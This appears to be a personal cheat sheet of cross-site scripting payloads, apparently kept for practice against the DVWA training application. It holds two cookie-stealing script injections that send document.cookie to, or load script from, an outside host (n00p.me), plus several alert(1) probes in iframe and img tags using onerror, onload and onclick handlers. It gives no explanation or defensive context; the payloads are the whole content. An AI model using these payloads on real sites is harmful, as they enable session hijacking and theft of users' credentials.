playload
<script>window.open('http://n00p.me/cookie.php?cookie='+document.cookie)</script>
<script src="http://n00p.me/cookie.js"></script>
<iframe src="javascript:alert(1)"></iframe>
<img src=x onerror=alert(1)>
<img src='http://n00p.me/dvwa/dvwa/images/logo.png' onload=alert(1)>
<img src=x onclick=alert(1)>